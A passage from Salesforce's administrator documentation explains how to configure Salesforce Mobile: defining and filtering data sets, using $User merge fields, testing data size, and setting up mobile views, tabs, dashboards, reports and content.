Data sets can have child data sets, which are data sets that contain records associated with a top-level (parent) data set. For
example, if the first level of your hierarchy has an Accounts data set, you can add a Contacts child data set that includes all
contact records related to the account records. Child data sets appear as related lists on mobile devices.
A single mobile configuration can have multiple data sets for the same object and at different levels. For example, you can
have an Events parent data set and an Events child data set under Leads.
Tip: Review the sample data sets to see how you might define data sets for common groups of Salesforce.com users.

After creating a mobile configuration, you must define its data sets. To access the data sets for a mobile configuration:
1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and click the name of the mobile configuration you
want to modify.
2. In the Data Sets related list, click Edit.
3. From the Data Sets page, you can:

744
Salesforce Mobile Defining Data Sets

• Add a data set.


• Remove a data set by selecting the data set you want to remove and clicking Remove.
• Edit a data set by selecting the data set you want to edit in the hierarchy. The right pane displays the filters for that
data set.
• Test your mobile configuration.
As you define and modify the data sets, Salesforce.com automatically saves your changes.
4. Click Done when you are finished.

Adding Data Sets


To add a data set:
1. In the hierarchy, select Data Sets to create a parent data set, or select an existing data set to create a child data set.
2. Click Add....
3. In the popup window, select the object for the records you want the data set to include. Salesforce.com lets you create
parent data sets for all custom objects and the following standard objects:
• Accounts
• Assets
• Attachments
• Cases
• Contacts
• Content
• Events
• Feeds (Salesforce Chatter)
• Leads
• Notes
• Opportunities
• Price Books
• Products
• Solutions
• Tasks
• Users
Note:
• Although attachments are available as a data set, they're only supported in Salesforce Mobile for Windows
Mobile. Salesforce Mobile for iPhone and BlackBerry don't currently support attachments.
• The Windows Mobile application does not currently support solutions.
• Chatter Mobile is currently available through a pilot program. For information on enabling Chatter Mobile in
your organization, contact salesforce.com.

When adding to an existing data set, the popup window displays any object with a relationship to the selected object. This
includes child objects, and also parent objects with a master-detail or lookup relationship to the selected object.
For example, assume you created an account field called Primary Contact with a lookup relationship to the contact object.
If you add Account as a top-level data set in a mobile configuration, you see two sets of contacts when you add Contact
below Account:
• Contact: Represents the standard relationship between the account and contact objects.
• Contact (Referenced by Account): Represents any object that is the parent in a lookup or master-detail relationship
for the selected object. In this case, the contact object is referenced by the Primary Contact field on the account object.

745
Salesforce Mobile Defining Data Sets

Because Salesforce.com distinguishes between these two types of relationships, you could, for example, mobilize just the
contacts referenced by a custom account field without sending any child contact records to the device.
4. Click OK. The data set you created appears in the hierarchy.
5. Optionally, use filters to restrict the records that a parent or child data set includes:
a. Use the Filter by Record Ownership options to configure Salesforce.com to automatically synchronize records based
on the owner of the record. The possible options are:
• All Records: Salesforce.com automatically synchronizes all records the user can access. The All Records
option is not available for tasks and events when they are parent data sets in a mobile configuration. This helps
prevent failed data synchronization due to activity filter queries that take too long to run.
• User's Records: Salesforce.com automatically synchronizes all records the user owns.
• User's Team's Records: Salesforce.com automatically synchronizes all records owned by the user and the
user's subordinates in the role hierarchy.
• User's Account Team's Records: Salesforce.com automatically synchronizes accounts for which the user is
an account team member, but does not include accounts owned by the user.
• User's Sales Team's Records: Salesforce.com automatically synchronizes opportunities for which the user
is a sales team member, but does not include opportunities owned by the user.
• None (Search Only): Salesforce.com does not automatically synchronize any records for this data set; however,
users can use their mobile devices to search all of the records they can access.
Salesforce.com only displays options that relate to the selected data set. For example, selecting an account data set
displays the User's Account Team's Records option, while selecting an opportunity data set displays the User's
Sales Team's Records option.
If your mobile needs for an object require a combination of the available record ownership filters, you can add the same
object data set up to four times on the same hierarchy level. For example, a sales manager might want to synchronize
his opportunities, opportunities owned by his subordinates, and opportunities for which he is a sales team member. In
this case, you would add an opportunity data set and select User's Team's Records, then add a second opportunity
data set at the same level in the hierarchy and select User's Sales Team's Records. Note that objects with only
one ownership filter option, such as Case Comment, cannot be added multiple times at the same level of the hierarchy.
b. Set the filter criteria to automatically synchronize only records that meet specific criteria in addition to the Filter by
Record Ownership option you selected. For example, you can set the filter to only include opportunity records with
amounts greater than $50,000, or contact records with the title “Buyer.” You can use special date values in your filter
conditions for mobile configurations. Additionally, several $User global variables are available in mobile filters.
Click Advanced Options to change the default AND relationship between each filter.
c. To prevent a single data set from consuming all the memory on a mobile device, select the second radio button under
Set Max Record Limit and enter the maximum number of records this data set can transfer to mobile devices. Use the
Order By and Sort drop-down lists to specify which records are synchronized if the data size limit is exceeded.
If the limit is reached, Salesforce.com updates the records currently on the mobile device approximately every 20
minutes, and replaces the records approximately every 24 hours in accordance with the Order By and Sort settings. For
example, if the settings are Last Modified Date and Descending, Salesforce.com transfers the most recently modified
records to mobile devices and removes the same number of records that were least recently modified.
If you selected the None (Search Only) Filter by Record Ownership option, the limit you set does not apply because
no records are automatically synchronized.
Tip: Do not use Set Max Record Limit in place of filters. Only use Set Max Record Limit as a safety mechanism,
and use filters as the primary means of limiting the number of records on a mobile device. This ensures that
your mobile users receive the correct records on their devices.

Because of the memory restrictions of mobile devices, Salesforce.com prevents a single query from returning more than
2,500 records.

746
Salesforce Mobile Defining Data Sets

6. Be sure to test your mobile configuration to make sure the data does not exceed the total data size limit.
7. Click Done when you are finished.
8. After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining how to register
their mobile devices. The registration process creates device records in Salesforce.com, which allows you to manage your
organization's mobile devices.

See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Editing Mobile Object Properties
Managing Mobile Views
Managing Mobile Tabs
Sending Emails to Mobile Users
Managing Mobile Devices
Setting Up Mobile Content
Setting Up Salesforce Chatter for Mobile

Merge Fields for Mobile Filter Criteria


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

Some of the $User merge fields are available when defining filters for mobile configurations and mobile custom views. In
mobile configurations, you can use these merge fields to synchronize records where the user is linked to a record but is not the
record owner. For example, you can send cases created by the current user to the mobile device, or you can send records to the
device where the current user is referenced in a custom field. In mobile views, you can use the merge fields to define view based
on the record owner; for example, you might create a view that displays the current user's accounts with a rating of “Hot”.
The following table describes the available user merge fields:

Merge Field Description


$User.ID References the ID of the current user. This merge field can
be applied to fields that contain a user lookup. The valid
operators for this merge field are Equals and Not Equal To.
When creating mobile view filters that reference an owner
field, you can only use the $User.ID merge field.
$User.Username References the username of the current user. This merge field
can be applied to any text or lookup field, except picklists. The
valid operators for this merge field are Equals, Not Equal To,
Greater Than or Equal, Less Than or Equal, Contains, Does
Not Contain, and Starts With.

747
Salesforce Mobile Defining Data Sets

Merge Field Description


$User.Firstname References the first name of the current user. This merge field
can be applied to any text or lookup field, except picklists. The
valid operators for this merge field are Equals, Not Equal To,
Greater Than or Equal, Less Than or Equal, Contains, Does
Not Contain, and Starts With.
$User.Lastname References the last name of the current user. This merge field
can be applied to any text or lookup field, except picklists. The
valid operators for this merge field are Equals, Not Equal To,
Greater Than or Equal, Less Than or Equal, Contains, Does
Not Contain, and Starts With.
$User.Fullname References the first and last name of the current user. This
merge field can be applied to any text or lookup field, except
picklists. The valid operators for this merge field are Equals,
Not Equal To, Greater Than or Equal, Less Than or Equal,
Contains, Does Not Contain, and Starts With.

See Also:
Managing Mobile Configurations
Understanding Global Variables
Salesforce Mobile Overview

Sample Data Sets


Many administrators create mobile configurations based on the functional groups in their organization because users in the
same group usually have similar mobile requirements for data. Below are sample data sets for common Salesforce.com groups.
Your mobile users have unique needs, but you can use the examples as a reference to help you get started with mobile
configurations.

Sales Manager
Sales managers usually need to see records they own and also the records of their subordinates. They also tend to closely
monitor large deals in the pipeline.
This mobile configuration allows sales managers to see:
• The opportunities they own.
• The opportunities owned by users who report to them in the role hierarchy.
• All opportunities scheduled to close in the current quarter with an amount greater than $100,000.
• All accounts related to the opportunities.
• A subset of their contact and activity records.

748
Salesforce Mobile Defining Data Sets

Figure 3: Sample Mobile Configuration for Sales Managers

Sales Engineer
The sales engineer mobile configuration retrieves opportunities owned by the other members of the user's sales team, but does
not include the user's records. The configuration is opportunity-based because all accounts and contacts sent to the device are
related to the opportunities. The sales engineers would see activity history related to the opportunities on the device and also
their own activities.

Figure 4: Sample Mobile Configuration for Sales Engineers

Account Executive
This account executive mobile configuration is account-based, which means the device pulls down the user's accounts and
opportunities related to those accounts. The opportunities are filtered so that only open opportunities scheduled to close in
the current quarter appear on the device. The Task and Event child data sets retrieve all activities related to those opportunities,
not just the user's activities. Only open tasks and events from a two-month window are sent to the device. The Task and Event
parent data sets pull down just the user's activities and restrict the activities to open tasks and events scheduled for the next
30 days. The Contact data set delivers the user's contact records, but limits the record count to the 500 most recently active
contacts.

Figure 5: Sample Mobile Configuration for Account Executives

749
Salesforce Mobile Testing Mobile Configurations

Customer Support Representative


Customer support representatives are focused primarily on cases and solutions. This mobile configuration delivers all open
cases to the user's device, along with related accounts, contacts, case comments, case history, tasks, and events. The Case
Solution child data set sends all solutions related to the cases, and the Solution data set lets the user search for solutions from
the Solutions tab on the device. The support representatives also have access to a subset of their activity records.

Figure 6: Sample Mobile Configuration for Customer Support Representatives

See Also:
Salesforce Mobile Overview
Managing Mobile Configurations

Testing Mobile Configurations


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile data sets: “View Setup and Configuration”
To test mobile configurations: “Manage Mobile Configurations”

When you create a mobile configuration, you specify a total data size limit for the configuration. The total data size limit
prevents Salesforce.com from sending too much data to the mobile devices of users assigned to the mobile configuration. After
defining the data sets, it is important to test the mobile configuration to make sure the total data size limit is not exceeded.
To estimate the size of the data set that the mobile configuration will deliver to a user's device:

750
Salesforce Mobile Testing Mobile Configurations

1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and click the name of the mobile configuration you
want to test.
2. In the Data Sets related list, click Edit.
3. In the Test Data Size section, click the lookup icon next to the Select a user field to choose the user you want to test.
While users must be mobile-enabled in order to assign them to mobile configurations, you can test the configuration's
data size against any user account.
The Select a user field defaults to the name of the user currently logged in; however, it is important to test a mobile
configuration with the accounts of users who will actually be assigned to the configuration, particularly users who own a
large number of records.
4. Select the Include metadata checkbox to include metadata in the estimate. Metadata consists of page layout and schema
information, and the amount of metadata sent to a device can be very high depending on the size of your organization and
the complexity of its setup.
Caution: It might take a while for Salesforce.com to calculate the metadata size in addition to the data size. Even
if you choose to hide the metadata in your test results, the metadata is still factored into the total data size when
the mobile device synchronizes with Salesforce.com.

5. Click Estimate Data Size.


The size of each data set is calculated. Results display in the hierarchy tree, which is the left pane of the data set region at
the top of the page. Additional results appear in the Test Data Size section below the hierarchy.

• In the hierarchy tree, two numbers appear next to each data set. The first represents the number of records generated
by the data set, and the second represents the total size of the data set in bytes or kilobytes. This breakdown is useful
for identifying which data sets might require additional filtering criteria to reduce the size.
• The Test Data Size section provides an estimate of the data that the current mobile configuration would deliver to the
selected user's device, including:

- The size and number of records in each object's data set.


- The total size and number of records, which includes records in the data set and marked records. A marked record
is a record that is not part of a user's mobile configuration. There are two ways marked records can become part of
the data set:

- The user downloads records to his or her device through online searches, and the records are flagged so that
they get sent to the user's device every time the device synchronizes with Salesforce.com.
- Records in the user's data set contain lookup fields to records that do not match the mobile configuration's filter
criteria. Salesforce.com synchronizes the records referenced in the lookup fields so that users do not encounter
broken links in the mobile application.
Tip: For an accurate count of the marked records, synchronize the data in the mobile application before
estimating the data size. To synchronize the data:

- In the BlackBerry application, open the menu and select System Info, then open the menu and select
Refresh All Data.
- In the iPhone application, tap More, then tap App Info. Tap Sync Now, then tap Refresh All Data.
- In the Windows Mobile application, select Options ➤ System Info, then select Actions ➤ Refresh
All Data.

- The size of the metadata that would be sent to the device for the user, if you selected the Include metadata checkbox.
- The total mobilized data set, which is the sum of all the records.

751
Salesforce Mobile Editing Mobile Object Properties

• Reports are not included in the data size estimate.

6. Compare the test results to the total data size limit that was set for the configuration; the limit is located in the top of the
Test Data Size section. Click the size limit to increase or decrease the value on the Edit Mobile Configuration page.

• If the total data size is below the limit, the selected user can safely be assigned to the mobile configuration. However,
keep in mind that the test results are an estimate because different devices have different storage algorithms.
• If the total data size exceeds the limit, reduce the size of the data by reducing the scope of your data set, refining the
filter criteria of your data sets, deleting a data set, or removing fields from the mobile page layout. Repeat the testing
process until the data is below the total limit.
Note: The data size estimate in the Test Data Size section does not automatically refresh if you edit the data
sets. Click Refresh Data Size to update the test results.

See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Sending Emails to Mobile Users
Managing Mobile Devices

Editing Mobile Object Properties


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations: “View Setup and Configuration”
To edit mobile object properties: “Manage Mobile Configurations”

You can change the properties of standard and custom objects in the mobile application. For example, you can restrict the
permissions of mobile users, or you can exclude unnecessary fields from the object's mobile page layout.
Mobile object properties are customized per mobile configuration. To edit mobile object properties:

1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations.


2. Click the name of the mobile configuration you want to modify.
3. In the Mobile Object Properties related list, click Edit next to an object name.
Only objects you mobilized in the configuration's data set appear in the related list. You cannot change the properties of
the user object.
4. From the Edit Mobile Configuration page, you can:

752
Salesforce Mobile Editing Mobile Object Properties

• Remove Mobile Permissions


• Customize Mobile Page Layouts

5. Click Save when finished.

Remove Mobile Permissions


The mobile client application inherits the user's permissions from Salesforce.com. Some administrators want to further restrict
the permissions of users when they access Salesforce.com data in the mobile application, usually due to limitations of the client
application or the possibility of user error. For example, users can inadvertently delete a record because they don't realize that
deleting a record in the mobile application also deletes the record on the Salesforce.com website. If this is a concern,
administrators can prevent users from deleting records in the mobile application, regardless of their standard and custom object
permissions on the website. Also, the client application does not support all of the Salesforce.com website's features, like
s-controls and Apex scripting. If your business process for an object is not completely supported by Salesforce Mobile, you
might choose to prevent mobile users from updating those records in the mobile application.
In the Permissions section, select which permissions to remove from mobile users for this object. Use the Deny Create, Deny
Edit, or Deny Delete checkboxes to prevent users from creating, editing, or deleting records in the mobile application.
Note: Currently, you can't block mobile permissions for the content object.

Customize Mobile Page Layouts


The mobile client application inherits the user's page layouts from Salesforce.com. Administrators may want to exclude some
fields from each object's mobile page layout because unnecessary fields consume memory and make it harder for users to scroll
through pages on the mobile device.
In the Excluded Fields section, select which fields to display on the mobile device for this object. To add or remove fields,
select a field name, and click the Add or Remove arrow.
• Mobile administrators can view all available fields per object, regardless of field-level security.
• Certain fields are required in order for the mobile client application to communicate with Salesforce.com. Those fields do
not display in the Available Fields box because they are mandatory and cannot be excluded from mobile page layouts.
• Fields used in mobile custom views cannot be excluded from mobile page layouts.
• If you mobilize the content object, all of the content object's fields display in the Available Fields box; however, the layout
of the content detail page in the mobile application is hard-coded to show only a few fields. Excluding fields for the content
object doesn't affect the page layout in the mobile application.

See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Managing Mobile Tabs
Creating Mobile Links

753
Salesforce Mobile Managing Mobile Views

Managing Mobile Views


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile devices and users: “View Setup and Configuration”
To manage mobile custom views: “Manage Mobile Configurations”

You can create mobile custom views in the Administration Setup that are available to wireless users assigned to a particular
mobile configuration. Mobile custom views are different than Salesforce.com custom views in the following ways:

• Mobile views are set up by the administrator per mobile configuration. The views are available to all users assigned to the
configuration, and administrators cannot restrict visibility to certain groups of users within the configuration. Each mobilized
object in a mobile configuration can have up to ten custom views.
• Mobile views cannot be filtered by All Records or My Records. The views apply to all records stored locally on the device,
regardless of ownership; however, ownership filters can be applied using the additional fields in the search criteria.
• Mobile views do not support advanced filtering options.
• Mobile views are limited to a two-column display.
• Mobile views can be sorted in ascending or descending order by up to two fields.

To manage the custom views for a mobile configuration, click Setup ➤ Mobile Administration ➤ Mobile Configurations,
and then click the name of the mobile configuration. In the Mobile Views related list:

• To see a list of all your custom views, choose All Options in the Select an object drop-down list. You can also use the
Select an object drop-down list to filter the views by object type.
• To create a new mobile view, select the object type from the Select an object drop-down list, and then click New Mobile
View.
• To make changes to a mobile custom view, click Edit next to a view name.
• To delete a mobile custom view, click Del next to a view name.
• To view details about a mobile custom view, click its name.

See Also:
Tips for Entering Filter Criteria
Salesforce Mobile Overview
Managing Mobile Configurations
Managing Mobile Devices

754
Salesforce Mobile Managing Mobile Views

Creating Mobile List Views


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile devices and users: “View Setup and Configuration”
To manage mobile custom views: “Manage Mobile Configurations”

For each mobile configuration, you can define up to ten mobile custom views per object that are pushed to the devices of users
assigned to the configuration. To create a mobile custom view:

1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and then click the name of a mobile configuration.
You might need to create a mobile configuration if you haven't already.
2. Scroll down to the Mobile Views related list.
3. Choose an object type from the Select an object drop-down list, and then click New Mobile View. Only objects included
in the mobile configuration's data set appear in the drop-down list. You cannot create mobile views for the user object.
4. Enter the view name.
Because display space on mobile devices is limited, the maximum length of a mobile view name is 30 characters.
5. In the Specify Filter Criteria section, enter conditions that the selected items must match, for example, Amount is
greater than $100,000.

a. Choose a field from the first drop-down list.


Note: You cannot create views based on fields you excluded from mobile page layouts or fields that are hidden
for all profiles.

b. Choose an operator. For descriptions of each operator, see Filter Operators on page 2169.
c. In the third field, enter the value to match.
Caution: Note the following about filter criteria values for mobile views:

• You can use the $User.ID merge field as a value in your filter criteria to reference the current user. You
can't enter user names in your filter criteria.
• You can only enter special date values in your filter criteria, not actual dates.
• You can't use FISCAL special date values in the filter criteria.

d. Select Match All if items in the mobile view should match all the criteria you entered. Select Match Any if items in
the mobile view should match any of the criteria you entered. Mobile custom views do not support advanced filtering
options.

6. In the Select Fields to Display section, select the fields to use as display columns.
The default fields are automatically selected. You can choose up to two different columns of data fields to display in your
mobile custom view.

755
Salesforce Mobile Managing Mobile Tabs

7. In the Define Sort Order section, optionally set a primary and secondary sort order for the view.

a. Select a field in the Order By drop-down list. You can sort by fields that have been excluded from the object's mobile
page layout.
b. Set the sort order to Ascending or Descending.

8. Click Save.

See Also:
Managing Mobile Views
Managing Mobile Configurations
Managing Mobile Devices

Managing Mobile Tabs


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations: “View Setup and Configuration”
To manage mobile tabs: “Manage Mobile Configurations”

For each mobile configuration, you can select the tabs that appear in the mobile application and define the order of the tabs.
The available tabs for a mobile configuration include:

• Standard object tabs


• Custom object tabs
• Visualforce tabs that have been enabled for the mobile application
• Web tabs that have been enabled for the mobile application

By default, tabs in the mobile application reflect the Salesforce.com website—if an object's tab is hidden on the website, it is
hidden in the mobile application. However, if the tab is exposed in at least one Salesforce.com application that is available to
the user on the website, then the tab is available to the user in the mobile application.
Note: If you customize mobile tabs, the tabs you select for the mobile configuration are sent to users' mobile devices
even if the tabs have not been added to an application. Although the tabs are sent to the device, they only display in
the mobile application if users have permission to view the tab.

There are several reasons you might want to hide an object's tab in the mobile application even though the object records are
sent to the device. The mobile application has much less screen space to display a row of tabs, so occasionally administrators
choose to reduce the amount of tabs on the device. Also, sometimes a custom object has a relationship to a standard object,
and users access the custom object record from the parent object record. In that case, you could mobilize the custom object
but hide the tab.

756
Salesforce Mobile Managing Mobile Tabs

To begin managing the tabs for a mobile configuration, click Setup ➤ Mobile Administration ➤ Mobile Configurations,
and then click the name of a mobile configuration.

• To view the tabs for a mobile configuration, scroll down to the Mobile Tabs related list. If you have not customized the
configuration's tabs, the related list displays a message indicating that the default tab behavior is used for the configuration.
• To select the tabs and define their order for the first time, click Customize Tabs. See Customizing Mobile Tabs on page
757.
• To change the tab setup for a mobile configuration, click Edit.
• To delete the mobile tab setup and use the default tab behavior, click Reset to Default.
• To enable Visualforce or web tabs for mobile users, edit the properties of the tabs and select the Mobile Ready checkbox.
See Creating Visualforce Tabs on page 1611 and Creating Web Tabs on page 1397.
Caution: Not all websites and Visualforce features are supported on mobile devices. Carefully review the best
practices for creating mobile-friendly pages before enabling Visualforce or web tabs for the mobile application.

See Also:
Salesforce Mobile Overview
Managing Mobile Configurations

Customizing Mobile Tabs


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations: “View Setup and Configuration”
To customize mobile tabs: “Manage Mobile Configurations”

To edit the tabs for a mobile configuration:

1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and then click the name of a mobile configuration.
2. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up
the mobile tabs, click Edit.
3. Select tabs from the Available Tabs list, and click the Add arrow to add them to the mobile configuration.
The Available Tabs list includes standard object tabs and custom object tabs. It also includes web and Visualforce tabs that
have been enabled for the mobile application. To enable Visualforce or web tabs for mobile users, edit the properties of
the tabs and select the Mobile Ready checkbox. See Creating Visualforce Tabs on page 1611 and Creating Web Tabs on
page 1397.

757
Salesforce Mobile Managing Mobile Tabs

Note: Not all websites and Visualforce features are supported on mobile devices. Carefully review the best practices
for creating mobile-friendly pages before enabling Visualforce or web tabs for the mobile application.

4. In the Selected Tabs list, choose tabs and click the Up and Down arrows to arrange the tabs in the order they should appear
in the mobile application.
5. Click Save.

Note: iPhone users can customize the order of their tabs in the mobile client application. If the user customizes their
tab order, any administrator changes to the tab order in the mobile configuration are ignored by the client application,
and any newly mobilized tabs are added below the user's existing tabs.

See Also:
Managing Mobile Tabs
Salesforce Mobile Overview
Managing Mobile Configurations

Defining Mobile Tabs


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

You can make web and Visualforce tabs available in the mobile application. When you build the web tab or Visualforce tab,
select the Mobile Ready checkbox in the wizard to verify that the web page or Visualforce page displays and functions properly
on a mobile phone. Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations.
It is important to note that most mobile browsers have technical limitations concerning display size, scripts, processor speed,
and network latency. Review the following considerations before mobilizing your web and Visualforce pages to ensure that
they are compatible with mobile browsers.

Mobile Web Tab Considerations


Consider the following when defining a mobile web tab:
• The ability to mobilize web tabs is only available for BlackBerry and iPhone. If you mobilize a web tab, keep in mind that
Windows Mobile users cannot view the tab in the mobile application.
• The minimum BlackBerry operating system requirement for web tabs is 4.3.
• The tab type must be URL. The mobile application cannot run s-controls.
• Some web pages contain JavaScript and Flash, but not all mobile browsers support them:
- Apple's Safari browser supports JavaScript, but not Flash.
- The BlackBerry browser has limited support for JavaScript and no support for Flash.

• Before mobilizing the web tab, navigate to the target URL on one of your organization's mobile devices to verify that it
works as expected in a mobile browser. In the event that your organization's device inventory includes phones with different
operating systems—for example, both iPhones and BlackBerry smartphones—be sure to test on each type of device. If
users cannot accomplish the necessary tasks on the web page from a mobile browser, do not mobilize the web tab.

758
Salesforce Mobile Managing Mobile Tabs

• In order for BlackBerry users to view JavaScript web pages, JavaScript must be enabled on the smartphones. The BlackBerry
administrator can globally enable JavaScript from the BlackBerry Enterprise Server. Users can also enable JavaScript on a
BlackBerry smartphone by opening the BlackBerry browser, selecting Options ➤ Browser Configuration, and then
selecting the Support JavaScript checkbox.

Visualforce Mobile Tab Considerations


Consider the following when defining a mobile Visualforce tab:
• Visualforce Mobile is only available for BlackBerry and iPhone. If you mobilize a Visualforce tab, keep in mind that
Windows Mobile users cannot view the tab in the mobile application.
• The mobile application can run on BlackBerry operating system versions 4.3 through 5.0. For optimum performance,
however, Salesforce.com recommends running Visualforce Mobile on BlackBerry smartphones installed with at least version
4.6.
• Because the display size is limited on mobile browsers, we recommend redesigning the Visualforce page to optimize it for
mobile users:
- Set the sidebar and showHeader attributes on the <apex:page> tag to false. Phones have small screens and
limited processing power, so it is essential that the page suppresses the tab header and sidebar.
- Set the standardStylesheets attribute on the <apex:page> tag to false. The standard Salesforce.com stylesheet
causes pages to load slowly on the device. Additionally, most BlackBerry browsers cannot properly interpret CSS . The
best approach to adding a stylesheet to your page is to include a <style> section just below the <apex:page>
component.
- Set the columns attribute on the <apex:pageBlockSection> component to 1. There is not enough room on a
mobile device’s screen to display two columns, so specifying a one-column layout prevents fields from wrapping
awkwardly on the page.

• Splash pages do not display in the mobile application.


• In the mobile application, the Visualforce page is embedded in a tab, so you should avoid using tabs for navigation in
mobile Visualforce pages.
• Even if you know that the mobile browser supports the JavaScript in your Visualforce page, keep your use of JavaScript to
a minimum. Mobile devices generally have slow network connections, and too many scripts running on a page creates a
poor user experience. To minimize the amount of JavaScript on your mobile Visualforce pages, try to build them using
mostly WML and HTML.
• All Visualforce pages contain JavaScript, even if you do not create pages that use JavaScript code. In order for BlackBerry
users to view Visualforce pages, JavaScript must be enabled on the smartphones. The BlackBerry administrator can globally
enable JavaScript from the BlackBerry Enterprise Server. Users can also enable JavaScript on a BlackBerry smartphone by
opening the BlackBerry browser, selecting Options ➤ Browser Configuration, and then selecting the Support JavaScript
checkbox.
• The embedded browser in the BlackBerry client application does not have built-in navigation. If your Visualforce page is
a wizard, you should provide navigation links that allow users to return to the previous page and advance to the next page.
• BlackBerry administrators should be aware that the download size setting on the BlackBerry Enterprise Server affects how
much data can be pushed to the device. Check that the download size setting is appropriate, and be sure to test your
Visualforce pages before deploying them to your mobile users.

759
Salesforce Mobile Setting Up Mobile Dashboards

• User agent inspection can be executed in a custom controller to support multiple devices. You can do this by inspecting
the appropriate result of the getHeaders() method on the current page reference.

See Also:
Managing Mobile Tabs
Managing Mobile Configurations
Supported Devices for Mobile
Creating Mobile Links

Setting Up Mobile Dashboards


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations: “View Setup and Configuration”
To mobilize dashboards: “Manage Mobile Configurations”

You can make the Dashboards tab available in Salesforce Mobile by adding it to the tabs for a mobile configuration. Mobile
dashboards allow field users to keep up with corporate metrics and key performance indicators even when they are away from
their desks.
Note the following about mobile dashboards:

• The Dashboards tab in the mobile application launches an embedded browser to display the dashboards.
• Due to screen size limitations, mobile dashboards display in a single column.
• Links to custom report details are disabled in mobile dashboards.
• The first time a user visits the Dashboards tab in Salesforce Mobile, the mobile application requests the last dashboard
the user viewed on the Salesforce.com website. Depending on the strength of the cellular or WiFi signal, it could take
several minutes before the dashboard displays on the page.
• Dashboards do not automatically refresh in the mobile application. Users can request a dashboard refresh by clicking the
Refresh button.
• Users are able to work offline in the mobile application. Without a wireless connection, users can see the last viewed
dashboard, but they cannot refresh the dashboard or select a different one.
• The minimum BlackBerry operating system requirement for mobile dashboards is 4.5. Mobile dashboards are compatible
with version 4.3, but tables in the dashboards might not display properly.
• BlackBerry administrators should be aware that the download size setting on the BlackBerry Enterprise Server affects how
much dashboard data can be pushed to the device. Check that the download size setting is appropriate, and be sure to test
your dashboards before deploying them to your mobile users.

760
Salesforce Mobile Setting Up Mobile Reports

Note: Currently, dashboards are only available in the BlackBerry and iPhone mobile client applications.

To enable mobile dashboards:

1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and then click the name of a mobile configuration.
2. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up
the mobile tabs, click Edit.
3. Select Dashboards from the Available Tabs list, and click the Add arrow to add it to the mobile configuration. The
Available Tabs list includes standard object tabs and custom object tabs. It can also include web and Visualforce tabs.
Caution: If you have not yet customized tabs in the mobile configuration, you must select all the tabs that should
appear in the mobile application, not just the Dashboards tab.

4. In the Selected Tabs list, choose the Dashboards tab and click the Up and Down arrows to define where the Dashboards
tab should appear in the mobile application.
5. Click Save.

Setting Up Mobile Reports


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To create, edit, and delete public report folders: “Manage Public Reports”

To enable reports for the mobile application, create a Mobile Reports folder in Salesforce.com, add reports to the folder, then
add the Reports tab to your mobile configurations. To enable reports:

1. From the reports home page in Salesforce.com, click Create New Folder.
2. In the Report Folder field, enter: Mobile Reports.
The server does not load reports on the mobile device unless the folder is named Mobile Reports. Be sure to check for
any typos in the name before saving the folder. Additionally, Salesforce.com does not require folder names to be unique.
Mobile users can see any report stored in folders named Mobile Reports unless you restrict access with the folder visibility
option.
3. Choose a Public Folder Access option. This option does not affect the ability of mobile users to run reports.
4. Optionally, select any unfiled reports and click Add to store them in the Mobile Reports folder. You can also add reports
to the folder after saving the folder.
5. Choose a folder visibility option.

• This folder is accessible by all users gives every user in your organization the ability to see the list of
mobile reports from their devices.
• This folder is accessible only by the following users lets you grant access to a desired set of users.

761
Salesforce Mobile Setting Up Mobile Content

Do not make the folder private unless you want to hide mobile reports from all users, including yourself.

6. Click Save.
7. To add a report to the Mobile Reports folder, click the report name on the reports home page, and then click Save As.
Save the report in the Mobile Reports folder.
After saving the report, you can edit the options to make the report easier to view on a mobile device. For example, you
might reduce the number of columns or enter additional filtering criteria.
8. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and then click the name of a mobile configuration.
9. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up
the mobile tabs, click Edit.
10. Select Reports from the Available Tabs list, and click the Add arrow to add it to the mobile configuration. The Available
Tabs list includes standard object tabs and custom object tabs. It can also include web and Visualforce tabs.
Caution: If you have not yet customized tabs in the mobile configuration, you must select all the tabs that should
appear in the mobile application, not just the Reports tab.

11. In the Selected Tabs list, choose the Reports tab and click the Up and Down arrows to define where the Reports tab should
appear in the mobile application.
12. Click Save.

Note: Reports are not currently available in Salesforce Mobile for iPhone.

Setting Up Mobile Content


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations: “View Setup and Configuration”
To create, change, or delete mobile data sets: “Manage Mobile Configurations”

You can set up the mobile application so that your users are able to share content with customers and colleagues directly from
their mobile devices. When you mobilize the content object in your organization's mobile configurations, the Content tab
appears in the mobile application.
Note the following about how Salesforce CRM Content is implemented in the mobile application:

• Content record information is synchronized to the device; however, the files associated with the content records are not.
This allows users to deliver content from the mobile application even when a file is too large to be downloaded to a mobile
device.

762
Salesforce Mobile Overview of Salesforce Chatter for Mobile

• Users can't search for a specific piece of content in the mobile application. They can only share the content available on
